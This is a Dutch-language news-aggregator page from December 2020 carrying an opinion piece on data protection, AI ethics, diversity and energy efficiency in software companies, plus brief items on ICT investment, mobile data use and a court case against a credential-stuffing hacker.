Sociale mediabedrijven worden onder de loep genomen vanwege de manier waarop zij verkiezingsuitslagen kunnen beïnvloeden. Technologiebedrijven komen regelmatig in het nieuws vanwege schendingen van de privacy. En al worden softwarebedrijven over het algemeen – en terecht – bejubeld vanwege de manier waarop zij zaken makkelijker maken, de valkuilen zijn legio: van algoritmes die onterecht discrimineren tot energieslurpende streamingdiensten. Ondernemers in de digitale wereld bevinden zich dan ook niet in een grenzeloze speeltuin waar enkel commerciële kansen leidend zijn, maar worden continu voor een uitdagende evenwichtsoefening gesteld waar regulering en publieke opinie de dynamiek bepalen. Daarnaast hebben zij hun eigen uitdagingen, zoals het aantrekken van personeel in een krappe arbeidsmarkt. Daarmee is duurzaamheid voor softwarebedrijven niet alleen een nobel streven, maar tevens een essentiële manier om de continuïteit en legitimiteit van hun bedrijf te waarborgen. Databescherming en AI-ethiek, diversiteit en energiezuinigheid zijn hierin drie sleutelthema’s.

Thema 1: Databescherming en AI-ethiek

In een digitale samenleving waar dagelijks grote hoeveelheden data worden geproduceerd, verwerkt en uitgewisseld, is privacy helaas niet altijd een gegeven. Dat is een van de redenen waarom in 2018 de Algemene Verordening Gegevensbescherming (AVG) werd ingevoerd. De AVG biedt echter geen kant- en klaar afvinklijstje voor bedrijven, maar is constant in beweging. Met nieuwe technologische ontwikkelingen en uitdijende jurisprudentie krijgt de AVG steeds meer vorm. Zo zal uit een recente rechtszaak tegen taxibedrijf Uber blijken wat ‘transparantie’ precies inhoudt in de context van besluitvorming door algoritmes. Softwarebedrijven doen er dus goed aan om nieuwe rechtszaken op het gebied van dataverwerking met aandacht te volgen.

Het gebruik van data gaat tegenwoordig hand in hand met de inzet van Artificial Intelligence (AI), een set aan technologieën die (elementen van) de menselijke intelligentie nabootst en daarvoor gebruik maakt van grote hoeveelheden data. AI kan helaas ongemerkt leiden tot ongewenste discriminatie, bijvoorbeeld wanneer het in software voor personeelsselectie wordt gebruikt. De Europese Commissie betwijfelt mede daarom of de huidige AVG-wetgeving volstaat voor effectieve handhaving en bekijkt momenteel de mogelijkheden voor specifieke regulering op kunstmatige intelligentie. In 2021 komt de Commissie met een voorstel, waarin onder andere specifieke aandacht komt voor het voorkomen van discriminatie. Tot die tijd kunnen softwarebedrijven zichzelf overigens al langs de ethische meetlat leggen met de Assessment List for Trustworthy Artificial Intelligence.

Voorsorteren

Hoewel het wettelijke kader op het gebied van databescherming en AI-ethiek volop in ontwikkeling is, kunnen softwarebedrijven dus wel degelijk al voorsorteren op de relevante thema’s. Dat is niet alleen belangrijk om nu en in de toekomst boetes te voorkomen, maar ook omdat softwaregebruikers hun stem duidelijk laten horen. Burgers zijn assertief wat betreft hun digitale rechten en deinzen er niet voor terug om een corrigerende tik uit te delen. Zo riepen De Consumentenbond en de Data Privacy Stichting recent mensen op om zich aan te sluiten bij een massaclaim tegen Facebook. Ook kunnen Nederlanders jaarlijks hun stem uitbrengen voor de Big Brother Award van stichting Bits of Freedom. De prijs komt toe aan de ‘privacyschender van het jaar’, iets wat altijd op de nodige media-aandacht kan rekenen. Overigens zijn mogelijke boetes en de schandpaal niet de enige stimulansen voor bedrijven om te investeren in de privacy van hun gebruikers. In een enquête van IT-netwerkbedrijf Cisco geeft maar liefst 74 procent van de bedrijven aan een significant positief effect te zien in termen van klantloyaliteit en -vertrouwen.

Thema 2: Diversiteit

Waar aandacht voor privacy kan leiden tot trouwere klanten, kan een divers personeelsbestand leiden tot betere processen en producten. In de context van softwareontwikkeling is dat niet anders. Uit onderzoek blijkt dat divers samengestelde teams van softwareontwikkelaars efficiënter samenwerken en meer creativiteit tonen. Het denken vanuit meerdere perspectieven kan er daarnaast voor zorgen dat digitale oplossingen beter aansluiten op de behoeften van een bredere doelgroep. Amazon stelt zelfs dat ‘inclusive design’, waarin mensen met een beperking als uitgangspunt worden genomen, producten oplevert die voor iedereen beter zijn. 

Er is echter nog een dwingender argument voor diversiteit: de ICT-sector kampt al jaren met moeilijk vervulbare vacatures. Ook in tijden van corona is de vacaturegraad hoog: zo’n 43 vacatures per duizend banen, tegenover 24 voor alle sectoren gemiddeld. Een van de oplossingen voor deze krapte ligt in het aanspreken van doelgroepen die traditioneel gezien minder goed vertegenwoordigd zijn in de ICT-sector. Zo ligt het percentage vrouwelijke softwareontwikkelaars in Nederland met slechts 8,4 procent van de totale hoeveelheid softwareontwikkelaars bijzonder laag.

Krapte

Hoewel deze onevenwichtigheid deels wordt veroorzaakt doordat vooralsnog een bescheiden hoeveelheid vrouwen kiest voor een technische opleiding, zijn softwarebedrijven hier zelf ook debet aan. Een niet-inclusieve bedrijfscultuur is een van de voornaamste redenen dat vrouwen technologiebedrijven verlaten. Deze masculiene cultuur – ook wel ‘brogrammer culture’ genoemd – bemoeilijkt het daarnaast om sowieso vrouwen aan te nemen doordat deze doorklinkt in het werving- en selectieproces. Vrouwen voelen zich bijvoorbeeld minder snel aangesproken door een vacature of moeten het uiteindelijk toch afleggen tegen een mannelijke kandidaat. Softwarebedrijven die zich bewust inzetten om medewerkers buiten de bekende vijver aan te trekken en te behouden, verhogen de kans op succes in een door krapte geplaagde arbeidsmarkt.

Thema 3: Energieverbruik

Het is een kwestie van tijd voor softwarebedrijven worden betrokken in de huidige discussie over datacenters en hun energieverbruik. Nu draait deze voornamelijk om de techgiganten die hun ‘hyperscalers’ in de Nederlandse polder neerzetten en de gemeenten die daar toestemming voor geven. Softwarebedrijven zijn in dit vraagstuk echter ook een belangrijke partij. Ontwikkelaars van digitale diensten zijn immers vaak afnemer van de clouddiensten die in deze datacenters draaien. Zo leunt Netflix grotendeels op de cloud van Amazon, en maakt Zoom gebruik van de clouddiensten van Amazon, Microsoft en Oracle. Softwarebedrijven kunnen – indirect – invloed uitoefenen op het energieverbruik van datacenters door hun keuze voor een cloudprovider afhankelijk te maken van de mate waarin het datacenter gebruikmaakt van hernieuwbare energie en van de energie-efficiëntie van de faciliteit. 

Schone code

Daarnaast kunnen ontwikkelaars hun software zó bouwen dat deze minder geheugen, dataopslag of dataverkeer vergt. Hiermee is hun invloed op het energieverbruik van datacenters dus ook van directe aard. Door bijvoorbeeld de code op te schonen en te herstructeren (‘software refactoring’) kan een softwareprogramma substantieel energiezuinger worden. Energiezuinige software is helaas nog grotendeels onontgonnen terrein; de kennis van programmeurs op dit vlak is beperkt en het meten van het energieverbruik van verschillende softwarecomponenten is ingewikkeld. Het vergt dus al tijdens het ontwikkelproces een duidelijke wil om de voetafdruk van de software te beperken.

Dit geldt specifiek voor software die kunstmatige intelligentie gebruikt. Het trainen van de onderliggende modellen kost veel energie, en het energieverbruik stijgt exponentieel met de laatste procenten extra ‘accuraatheid’. Zo zouden ontwikkelaars van gezichtsherkenningssoftware zichzelf de vraag kunnen stellen of die paar extra correct herkende gezichten opwegen tegen de extra energie die het kostte om het model te verbeteren. De Europese Commissie onderzoekt de mogelijkheden om energiezuinige ontwikkeling van AI te stimuleren. Wellicht komt die stimulans straks vanuit een ‘ecolabel’ voor software, een oplossingsrichting die in academische hoek wordt verkend.

Noodzaak

Softwarebedrijven opereren in een uitdagend speelveld. Niet alleen hebben zij doorlopend te maken met arbeidsmarktkrapte, ook worden aan digitale oplossingen door zowel burger als overheid steeds meer eisen gesteld. Voor deze bedrijven staan thema’s als databescherming en AI-ethiek, diversiteit en energiezuinigheid dan ook niet gelijk aan holle frasen of pogingen tot ‘greenwashing’, maar ze zijn bittere noodzaak. Het is mooi meegenomen dat investeringen op dit vlak uiteindelijk kunnen leiden tot digitale producten die beter zijn voor mens, natuur en maatschappij.

Over de auteur: Julia Krauwer is Sector Banker TMT (Technologie, Media & Telecom) bij ABN Amro.

Lees het volledige bericht op Emerce »

Meer investeringen in computers en telecomapparatuur door corona

Reacties uitgeschakeld voor Meer investeringen in computers en telecomapparatuur door corona
Posted 25 dec 2020 — by Adformatie
Category nieuws

De coronacrisis gaat in Nederland gepaard met meer investeringen in ICT-apparatuur. In de eerste drie kwartalen van 2020 werd er meer telecomapparatuur en vooral meer computers en randapparatuur verkocht aan bedrijven en overheden dan voor de coronacrisis. Dat blijkt uit onderzoek van ING.

De investeringen in pc’s & randapparatuur kwamen gemiddeld in de eerste drie kwartalen van dit jaar zelfs 8 procent boven het niveau van het vierde kwartaal van 2019 uit. In telecomapparatuur werd gemiddeld 2,5 procent meer geïnvesteerd dan eind 2019.

Deze digitaliseringsslag heeft ongetwijfeld te maken met de noodzaak om thuis werken beter mogelijk te maken tijdens de coronacrisis.

De investeringen in software & databanken – de grootste categorie ICT-investeringen – daalden wel licht sinds de coronacrisis: zij lagen ten opzichte het vierde kwartaal van 2019 0,7 procent lager in de eerste derde kwartalen van 2020. Weliswaar een (geringe) afname, maar bedrijven en overheden schroefden dit type investeringen minder terug dan de overige investeringen.

Internationaal vergeleken (met negen andere Europese landen waarvoor statistieken worden bijgehouden) stegen de investeringen in ICT-apparatuur in Nederland relatief sterk. In Oostenrijk, Zweden en vooral in Ierland daalden dit type investeringen zelfs.

Niet alleen investeren bedrijven en overheden meer in ICT, ook Nederlandse consumenten lijken in reactie op de coronacrisis meer ICT-apparatuur te hebben aangeschaft. De flinke stijging in de consumptie van elektrische apparaten door huishoudens wijst daarop. De consumptie van elektronica lag in het eerste en tweede kwartaal van 2020 gemiddeld 7 procent hoger dan in het vierde kwartaal van 2019. Het aandeel elektrische apparaten in de totale consumptie van huishoudens steeg hierdoor van 3,2 procent in het laatste kwartaal van 2019 naar 3,7 procent in het eerste half jaar van 2020.

Lees het volledige bericht op Emerce »

ACM: mobiel dataverbruik stijgt

Reacties uitgeschakeld voor ACM: mobiel dataverbruik stijgt
Posted 23 dec 2020 — by Adformatie
Category nieuws

In het derde kwartaal van 2020 verbruikten Nederlanders aanzienlijk meer mobiele data dan in voorgaande kwartalen. Dat staat in de Telecommonitor van de Autoriteit Consument & Markt (ACM) die vandaag is verschenen.

Het dataverbruik in het derde was 264 miljard MB, een stijging van 20 procent ten opzichte van het tweede kwartaal. Een mogelijke verklaring voor de toename is dat mensen meer buiten waren in de zomermaanden en dus meer gebruik maakten van hun mobiele data en minder van wifi.

Na een stijging in het eerste halfjaar, daalde het aantal belminuten voor vaste telefonie weer tot het niveau van voor corona.

In totaal zijn 7,5 miljoen huishoudens aangesloten op (vast) internet. Daarvan zijn er iets meer dan 4 miljoen huishoudens met een internetverbinding van 100 Mbps (Megabit per seconde) of hoger.

Steeds meer mensen nemen een internetverbinding op basis van glasvezel, dit gaat ten koste van koper en kabel. In het derde hadden ruim 1,5 miljoen huishoudens een internetverbinding via glasvezel, dat zijn er 59.000 meer dan in het tweede kwartaal. Ongeveer 6 miljoen huishoudens hebben een internetverbinding op basis van koper of kabel, 22.000 minder dan in het tweede kwartaal.

Lees het volledige bericht op Emerce »

Nederlandse hacker stal klantgegevens Mobile Vikings

Reacties uitgeschakeld voor Nederlandse hacker stal klantgegevens Mobile Vikings
Posted 23 dec 2020 — by Adformatie
Category nieuws

Een 24-jarige hacker uit Weesp riskeert 15 maanden celstraf voor het ontfutselen van de gegevens van 850 klanten van de Vlaamse telecomaanbieder Mobile Vikings. De Hasseltse rechtbank doet op 18 januari uitspraak, meldt Datanews.

De verdachte beschikte over 5,7 miljoen inloggegevens die hij doelgericht op websites losliet. In totaal ondernam hij 17.086 pogingen om bij Mobile Vikings in te loggen.

DPG Media, vorige eigenaar van Mobile Vikings, vraagt ruim 20.000 euro schadevergoeding.

Lees het volledige bericht op Emerce »